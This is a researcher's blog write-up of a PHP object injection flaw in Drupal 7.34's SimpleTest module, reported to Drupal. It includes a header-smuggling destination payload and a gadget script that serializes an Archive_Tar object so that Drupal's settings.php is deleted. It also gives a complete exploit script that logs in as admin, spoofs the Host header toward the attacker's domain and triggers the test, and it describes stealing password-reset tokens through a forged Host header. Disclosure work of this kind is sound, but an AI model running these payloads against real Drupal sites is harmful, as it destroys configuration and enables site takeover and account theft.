Drupal 7.34 Admin PHP Object Injection

January 9, 2015

There is an interesting PHP object injection vulnerability in the latest Drupal 7.34 version I played with lately and wanted to write about. It requires administrator privileges and thus its security impact is negligible because a Drupal administrator can execute arbitrary code by uploading custom modules anyway. However, the exploitation is fun and I will document each failed/succeeded step I took.

1. PHP Object Injection

Drupal is shipped with a SimpleTest module that allows to write and execute test cases for Drupal modules (/modules/simpletest/drupal_web_test_case.php). For this purpose, the class DrupalTestCase provides methods to automate interaction with the Drupal interface. The method curlHeaderCallback() unserializes data that is passed to its second parameter, for example if the string X-Drupal-Assertion-1: is prepended.

protected function curlHeaderCallback($curlHandler, $header) {  
	...
	if (preg_match('/^X-Drupal-Assertion-[0-9]+: (.*)$/', $header, $matches)) {  
		// Call DrupalWebTestCase::error() with the parameters from the header.  
		call_user_func_array(array(&$this, 'error'), unserialize(urldecode($matches[1])));  
	}

Lets see where this method is used. As the name suggests, the curlHeaderCallback() is set as CURLOPT_HEADERFUNCTION callback in the curlInitialize() method.

protected function curlInitialize() {
	global $base_url;

	if (!isset($this->curlHandle)) {
	   $this->curlHandle = curl_init();
	   $curl_options = array(
		CURLOPT_COOKIEJAR => $this->cookieFile,
		CURLOPT_URL => $base_url,
		CURLOPT_FOLLOWLOCATION => FALSE,
		CURLOPT_RETURNTRANSFER => TRUE,
		CURLOPT_SSL_VERIFYPEER => FALSE, 
		CURLOPT_SSL_VERIFYHOST => FALSE,
		CURLOPT_HEADERFUNCTION => array(&$this, 'curlHeaderCallback'),
		CURLOPT_USERAGENT => $this->databasePrefix,
	   );

That means that every HTTP response header of a request made with this CURL instance is passed through the vulnerable curlHeaderCallback() method. If we can influence the HTTP response header of such an CURL request, we can inject serialized PHP objects into the unserialize call. The HTTP response we want to achive could look like the following in order to inject a stdClass object into the applications scope:

HTTP/1.1 200 OK
Date: Sun, 04 Jan 2015 15:03:36 GMT
Server: Apache
X-Drupal-Assertion-1: O:8:"stdClass":1:{s:4:"rips";b:1;}
Content-Length: 0
Content-Type: text/html

The method curlInitialize() is used in the curlExec() method to prepare and execute a CURL request. Here, further CURL options can be specified in the first parameter $curl_options.

protected function curlExec($curl_options, $redirect = FALSE) {
	$this->curlInitialize();
	...
	curl_setopt_array($this->curlHandle, $this->additionalCurlOptions + $curl_options);
	...
	$content = curl_exec($this->curlHandle);

The wrapper curlExec() is used in the methods drupalGet() and drupalPost() to perform the actual test case request. The targeted request URL is given in the first parameter and is used as CURLOPT_URL parameter.

protected function drupalGet($path, array $options = array()) {
	$options['absolute'] = TRUE;

	$out = $this->curlExec(array(CURLOPT_URL => url($path, $options));

2. Header Injection

We now have two possible ways of exploitation. Either, we find a drupalGet() call that we can point to an external domain we control. Then we can respond with a modified HTTP header that will be passed to curlHeaderCallback() and triggers the unserialize.

Or we find a HTTP Response Splitting vulnerability within on of Drupal’s scripts plus a drupalGet() or drupalPost() call targeting that script. Then we can inject our own X-Drupal-Assertion header through that vulnerability and add our serialized data. An open redirect vulnerability would work as well here.

A quick grep for drupalGet() calls reveals that they are mostly pointing to static and relative URLs. Since Drupal’s test cases work on the current Drupal installation, a call to an external domain we control is unlikely. Hence, I first looked for HTTP Response Splitting vulnerabilities.

2.1 Drupal Send Headers

Looking at several header() calls in Drupal’s code reveals the function drupal_add_http_header() that uses drupal_send_headers() to set arbitrary HTTP headers via header(). It is called with user input in the simpletest case /modules/simpletest/tests/system_test.module that looks promising at first sight.

function system_test_set_header() {  
   drupal_add_http_header($_GET['name'], $_GET['value']);  
   return t('The following header was set: %name: %value', array('%name' => $_GET['name'], '%value' => $_GET['value']));  
}  

The function system_test_set_header() is called in the system test case suite and allows to set arbitrary HTTP headers for testing. This way, we could set a X-Drupal-Assertion header. However, the system_test.module test case itself is not targeted by a drupalGet() call that would evaluate our injected HTTP header with the vulnerable callback handler. That would mean that a test case issues this test case. And even if we could point a drupalPost() call of a test case to another test case, we would need HTTP parameter pollution to also modify the HTTP parameters to add the name and value parameter. Summarized, code within test cases is probably hard to trigger with the set of drupalGet() calls we can find in test cases. Maybe we find an easier way.

2.2 HTTP Response Splitting

A more promising function is drupal_goto() in /includes/common.inc that is vulnerable to HTTP response splitting. Here, the GET parameter destination is used (if set) in the header() call in line 691 for redirection. By using whitespace characters, such as %0a or %0d, we can add another HTTP header to the previous one (we will come back to the fact that the header() function was fixed).

function drupal_goto($path = '', array $options = array(), $http_response_code = 302) {  
   // A destination in $_GET always overrides the function arguments.  
   // We do not allow absolute URLs to be passed via $_GET, as this can be an attack vector.  
   if (isset($_GET['destination']) && !url_is_external($_GET['destination'])) {  
     $destination = drupal_parse_url($_GET['destination']);  
     $path = $destination['path'];  
     $options['query'] = $destination['query'];  
     $options['fragment'] = $destination['fragment'];  
   }  
   $url = url($path, $options);  
   header('Location: ' . $url, TRUE, $http_response_code);
}  

First, a few tricks are neccessary. The provided destination URL cannot be an external URL which is ensured by the url_is_external() function in line 684. It identifies external URLs by looking for the presence of a : character and ensuring none of the following character is found before it: /?#. Then, the function drupal_parse_url() is used in line 685 to parse the URL into parts. Lastly, the function url() in line 690 generates a urlencoded URL from the parsed parts and that URL is used in header(). We have to smuggle our whitespace characters urldecoded through these functions into the $url.

function drupal_parse_url($url) {
  if (strpos($url, '://') !== FALSE) {
    // Split off everything before the query string into 'path'.
    $parts = explode('?', $url);
    $options['path'] = $parts[0];
    // If there is a query string, transform it into keyed query parameters.
    if (isset($parts[1])) {
      $query_parts = explode('#', $parts[1]);
      parse_str($query_parts[0], $options['query']);
      // Take over the fragment, if there is any.
      if (isset($query_parts[1])) {
        $options['fragment'] = $query_parts[1];
      }
    }
  }

For this purpose, we can abuse the drupal_parse_url() function and its parsing for external URLs. External URLs are identified here by looking for :// and we can easily supply #://AAA?BBB=CCC#DDD as URL to bypass the url_is_external() check because of the # before the : character. Our URL is still parsed as external URL in drupal_parse_url() because it contains ://. Here, the function parse_str() is used in line 583.

Now, for relative URLs, parse_str() replaces whitespaces characters within the path (AAA) or parameter names (BBB) into _. That means we cannot inject our whitespace characters here. We can inject them into the parameter values (CCC) because parse_str() automatically decodes urlencoded values here. Later on, however, the function url() will urlencode these values again. But we can use the fragment part (DDD) which is later not urlencoded again by url(). The weaponized destination parameter looks like the following:

?destination=%23://AAA?BBB=CCC%23DDD%0A%09X-Drupal-Assertion-1:%201

Next, isn’t header() fixed in order to prevent HTTP response splitting? It depends on the browser used (and on the PHP version). For example, in IE there are still attack vectors working after the fix. More importantly for us is: how is CURL affected by HTTP response splitting?

After fuzzing it turns out that all PHP versions allow %0a%09 within header() AND that CURL parses two seperate HTTP headers when these characters are used as newline characters. That means HTTP response splitting is a viable attack vector against CURL in PHP.

So far so good, lets see where drupal_goto() is called and if we can trigger a call via a drupalGet() or drupalPost() call with our destination parameter. For example, I found the following URL to be affected by HTTP response splitting if requested with CURL:

/authorize.php?batch=1&id=1&destination=%23://A?B=C%23D%0A%09X-Drupal-Assertion-1:%201

However, after looking through 1000 variable drupal(Get|Post) calls, the only variables in the URL seem to be $item->ids or Drupal’s $base_url. Although authorize.php is targeted by CURL requests, we can not add our destination parameter to the request URL because no URL is built with user input.

Injecting a parameter into a CURL request that performs HTTP response splitting in order to add a HTTP header that is then unserialized in the callback handler and triggers a gadget chain would have been a pretty cool exploit though ;).

2.3 External URL

Before we give up, lets have a look at the $base_url that is used in so many drupalGet() calls, such as in the aggregator test case (/modules/aggregator/aggregator.test).

public function testCron() {  
     global $base_url;  
     $this->drupalGet($base_url . '/cron.php'); 

The global $base_url variable is initialized within the drupal_settings_initialize() function during Drupal’s bootstrap (/includes/bootstrap.inc).

function drupal_settings_initialize() {  
     global $base_url, $base_path, $base_root;  
     ...
     // Create base URL  
     $http_protocol = $is_https ? 'https' : 'http';  
     $base_root = $http_protocol . '://' . $_SERVER['HTTP_HOST'];  
     $base_url = $base_root; 
     ...
     // Use $base_url as session name, without the protocol  
     list( , $session_name) = explode('://', $base_url, 2);  
     session_name($prefix . substr(hash('sha256', $session_name), 0, 32));
}

The good thing is, that it uses $_SERVER[‘HTTP_HOST’] (line 730). We can arbitrarily change the Host: header when making a request to Drupal. That means, we can set the Host: header to our own domain when initiating the testCron() aggregator test case which will then initiate a CURL request to the modified $base_url. On our server, we reply with a X-Drupal-Assertion HTTP header that is then unserialized by the targeted web server.

The bad thing is, that drupal_settings_initialize() also binds the $base_url to the session name (line 735). That means, we have to fake the Host: header for all steps involved in our exploit. And we have to find some gadget chains we can exploit.

3. Exploitation

Lets do this. The gadget chains are not really sophisticated in Drupal due to the lack of interesting initial gadgets (magic methods). We will use the destructor of the class Archive_Tar (/modules/system/system.tar.inc) that allows to delete an arbitrary file by specifying the _temp_tarname property.

class Archive_Tar {
  function __destruct()  
  {  
     $this->_close();
     if ($this->_temp_tarname != '')  
          @drupal_unlink($this->_temp_tarname);  
  }  
}

On our server we create the following script that instantiates a new Archive_Tar object with the _temp_tarname property set to Drupal’s config file sites/default/settings.php. The object is then serialized and embedded to the HTTP response header.

class Archive_Tar {
	var $_temp_tarname=''; 
	public function __construct() {
		$this->_temp_tarname = "sites/default/settings.php";
	}
}
$payload = urlencode(serialize(new Archive_Tar));
header('X-Drupal-Assertion-1: '.$payload);
exit;

Now we have to start the Drupal test case with a faked Host: header in order to let the drupalGet() CURL request point to our script. For this purpose, we write an exploit that logs into Drupal with a faked header to keep our session valid and starts the test case:

<?php
// Drupal 7.34 POI just for fun
// requires admin credentials

$username = 'admin';
$password = 'admin';

$targetDomain 	= 'localhost';
$myDomain 	= 'websec.wordpress.com';

function request($url, $postdata='', $ajax = false) {
	global $cookie, $myDomain;
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_HEADER, true); 	
	curl_setopt($ch, CURLOPT_URL, $url);
	if(!empty($postdata)) {
		curl_setopt($ch, CURLOPT_POST, TRUE);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
	}
	curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	$header = array("Host: $myDomain");
	if($ajax) {
		$header[] = "X-Requested-With: XMLHttpRequest";
	}
	curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_FORBID_REUSE, true);
	curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
	$buf = curl_exec ($ch);
	curl_close($ch);
	preg_match('/Set-Cookie: (SESS[a-f0-9]{32})=([^;]+);/', $buf, $cookies);
	if(!empty($cookies)) {
		$cookie .= $cookies[1].'='.$cookies[2]."; "; 
	}
	return $buf;
}

$baseURL = 'http://%s/';
$target = sprintf($baseURL, $targetDomain);
$cookie = 'has_js=1; ';

// get CSRF token
$r1 = request($target);
preg_match('/form_build_id" value="([^"]*)"/', $r1, $build_id);

// login
$postdata = 'form_build_id='. $build_id[1] . '&name='. $username. '&pass='.$password. '&op=Log+in&form_id=user_login_block';
$r2 = request($target . '?q=node&destination=node', $postdata);

// check login status
$r3 = request($target . '?q=node');
if(strpos($r3, 'Hello <strong>'.$username) !== FALSE) {

	// get CSRF token
	$r4 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay');
	preg_match('/form_build_id" value="([^"]*)"/', $r4, $build_id2);
	preg_match('/form_token" value="([^"]*)"/', $r4, $token);
	
	if(isset($build_id2[1]) && isset($token[1])) {
		// run simple test
		$postdata = 'AggregatorCronTestCase=1&op=Run+tests&form_build_id='.$build_id2[1].
		'&form_token='.$token[1].'&form_id=simpletest_test_form';
		$r5 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay&render=overlay', $postdata);
		// trigger start and do
		preg_match('#Location: http[^\s]+(\?[^\s]+)\s#', $r5, $loc);
		$r6 = request($target . $loc[1]);
		$r7 = request($target . str_replace('start', 'do', $loc[1]), 'post=1', true);
		echo 'Successfully started AggregatorCronTestCase with a faked Host header.',
			'It will parse HTTP headers from ' . sprintf($baseURL, $myDomain) . '.',
			'This may take a few minutes.';
	}
	else {
		die("could not fetch simpletest CSRF token");
	}
}
else {
	die("Could not login. Invalid login credentials?");
}

The initiated test case will then make a CURL request to our domain because we faked the $base_url. Here, it will receive our X-Drupal-Assertion header with the serialized Archive_Tar object. This object is now unserialized in the CURL callback handler and injected into the applications scope. Once the application request is parsed, the destructor of our injected Archive_Tar object is invoked and the Drupal configuration file is deleted. Once this happened, the Drupal installer is available to the attacker that enables further attacks.

Again, this is just for fun and does not pose any security risk to Drupal, because administrator privileges are required and an administrator is able to execute code on the server anyway. The issue has been reported to Drupal nonetheless. I have been informed that the permission “Administer tests” has the restricted access flag set and is therefore not subject to security advisories/releases (which I agree with).

The HTTP host header leads to another attack vector in Drupal. The $base_url is also used in the password reset link sent out by email. When the password reset is initiated with a faked host header for a victim, the link that is sent to the victim via email will point to the attackers server. If the victim clicks on the password reset link, the password reset token is then transmitted to the attacker and not to the Drupal installation. Drupal decided to not patch this issue and released a guideline to implement countermeasures.